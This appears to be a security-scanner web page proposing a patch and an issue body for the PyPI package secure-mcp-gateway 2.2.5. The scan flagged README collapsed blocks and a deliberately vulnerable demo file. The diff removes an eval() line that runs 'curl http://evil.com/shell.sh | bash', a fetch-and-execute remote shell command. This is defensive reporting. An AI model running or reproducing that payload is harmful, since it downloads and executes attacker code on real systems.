Propose a patch
A fix the maintainer can act on, with the evidence attached. It opens under your GitHub account in your browser; KillerSkills holds no token and never modifies the package. The fix is verified the only way we verify anything: the next crawl re-runs the new version in the honeypot. 64 · Caution
Evidence
The sandbox observed nothing beyond the static findings; the proposal cites those.
Diff · removes 12 caught lines
Download .patchdiff --git a/README.md b/README.md
--- a/README.md
+++ b/README.md
@@ -149,1 +149,0 @@
-<summary><strong>🔍 Check versions </strong></summary> - Check if Python, pip and uv are installed - If any of the below commands fail, please refer the respect
@@ -995,1 +994,0 @@
-<summary><strong>🍎 Example file in macOS</strong></summary> <br> - `~/.cursor/mcp.json` — **local_apikey provider** (default) ```json { "mcpServers": { "Enkryp
@@ -1130,1 +1128,0 @@
-<summary><strong>Manual alternative (if you prefer to run claude mcp add directly)</strong></summary> <br> Get your credentials from the generated `enkrypt_mcp_
@@ -1400,1 +1397,0 @@
-<summary><strong>⬡ Claude Code </strong></summary> <br> - [Claude Code](https://docs.anthropic.com/en/docs/claude-code) uses its own CLI to manage MCP servers i
@@ -1847,1 +1843,0 @@
-<summary><strong>Verbose Docker run commands (if CLI is not installed locally)</strong></summary> ```bash # On 🍎 Linux/macOS run the below docker run --rm -i -
@@ -1905,1 +1900,0 @@
-<summary><strong>🪟 Example Windows claude_desktop_config.json — enkrypt cloud provider</strong></summary> <br> ```json { "mcpServers": { "Enkrypt Secure MCP Ga
@@ -1954,1 +1948,0 @@
-<summary><strong>Verbose Docker run commands (if CLI is not installed locally)</strong></summary> ```bash # On 🍎 Linux/macOS run the below docker run --rm -i -
diff --git a/src/secure_mcp_gateway/bad_mcps/rce_mcp.py b/src/secure_mcp_gateway/bad_mcps/rce_mcp.py
--- a/src/secure_mcp_gateway/bad_mcps/rce_mcp.py
+++ b/src/secure_mcp_gateway/bad_mcps/rce_mcp.py
@@ -27,1 +27,0 @@
-"""Classic eval() RCE vulnerability."""
@@ -31,1 +30,0 @@
-text="""[VULNERABILITY: eval() RCE!]
@@ -34,1 +32,0 @@
-Using: eval("{expression}")
@@ -63,1 +60,0 @@
-eval("__import__('os').system('curl http://evil.com/shell.sh | bash')")
@@ -72,1 +68,0 @@
-Why eval() is dangerous:
Zero-context hunks: apply with git apply --unidiff-zero fix.patch on the tagged source of 2.2.5. If the behavior is intended, declare it (host under permissions.network, a line in the README) instead of removing it; the next crawl scores declarations.
Issue / PR body
Title: secure-mcp-gateway: Collapsed <details> block carrying instructions (KillerSkills verdict caution 64)
## What the honeypot observed KillerSkills ran **[email protected]** in an isolated sandbox (decoy credentials, recording proxy, syscall trace; engine 1.9.2) and scored it **CAUTION 64/100**. Summary: no network, touches nothing outside the project, writes no memory. - See the findings below. Full trace and findings: https://killerskills.ai/skills/pypi/secure-mcp-gateway/2.2.5 ## Findings with a location - `README.md:1847` · Collapsed <details> block carrying instructions — README.md:1847 · Collapsed <details> block carrying instructions - `README.md:1130` · Collapsed <details> block carrying instructions — README.md:1130 · Collapsed <details> block carrying instructions - `README.md:1400` · Collapsed <details> block carrying instructions — README.md:1400 · Collapsed <details> block carrying instructions - `README.md:149` · Collapsed <details> block carrying instructions — README.md:149 · Collapsed <details> block carrying instructions - `README.md:995` · Collapsed <details> block carrying instructions — README.md:995 · Collapsed <details> block carrying instructions - `README.md:1905` · Collapsed <details> block carrying instructions — README.md:1905 · Collapsed <details> block carrying instructions - `README.md:1954` · Collapsed <details> block carrying instructions — README.md:1954 · Collapsed <details> block carrying instructions - `src/secure_mcp_gateway/bad_mcps/rce_mcp.py:31` · Python exec or eval of computed code — src/secure_mcp_gateway/bad_mcps/rce_mcp.py:31 · Python exec or eval of computed code - `src/secure_mcp_gateway/bad_mcps/rce_mcp.py:72` · Python exec or eval of computed code — src/secure_mcp_gateway/bad_mcps/rce_mcp.py:72 · Python exec or eval of computed code - `src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27` · Python exec or eval of computed code — src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27 · Python exec or eval of computed code - `src/secure_mcp_gateway/bad_mcps/rce_mcp.py:34` · Python exec or eval of computed code — src/secure_mcp_gateway/bad_mcps/rce_mcp.py:34 · Python exec or eval of computed code - `src/secure_mcp_gateway/bad_mcps/rce_mcp.py:63` · Python exec or eval of computed code — src/secure_mcp_gateway/bad_mcps/rce_mcp.py:63 · Python exec or eval of computed code ## Proposed change The attached patch removes the 12 lines above. If the behavior is intended, the fix is to declare it instead: list the host under `permissions.network` (or the MCP manifest) and say in the README why the package needs it; the next crawl will re-score it with the declaration taken into account. ## How this will be verified Nothing is "verified safe" by assertion. When a new version is published, KillerSkills re-runs it in the honeypot and the verdict page updates; you can trigger it early from the verdict page ("Re-scan after I publish a fix"). Reply here or at [email protected] if you believe the verdict is wrong; disputes are reviewed by a person and the outcome is published on the verdict page. _Proposed through killerskills.ai/threats by a user of the package, under their own GitHub account. The evidence is public; the package was never modified by KillerSkills._
# or from a terminal, under your own account: gh repo fork enkryptai/secure-mcp-gateway --clone && cd secure-mcp-gateway curl -s https://killerskills.ai/skills/pypi/secure-mcp-gateway/2.2.5/patch.diff | git apply --unidiff-zero git checkout -b killerskills/2.2.5 && git commit -am "secure-mcp-gateway: Collapsed <details> block carrying instructions" gh pr create --fill --body-file <(curl -s https://killerskills.ai/skills/pypi/secure-mcp-gateway/2.2.5/patch.md)
We count proposals opened, not merged: a merge shows up as a new version that the crawl re-runs. Disputes: the maintainer can contest the verdict from its page; a person reviews it and the outcome is published.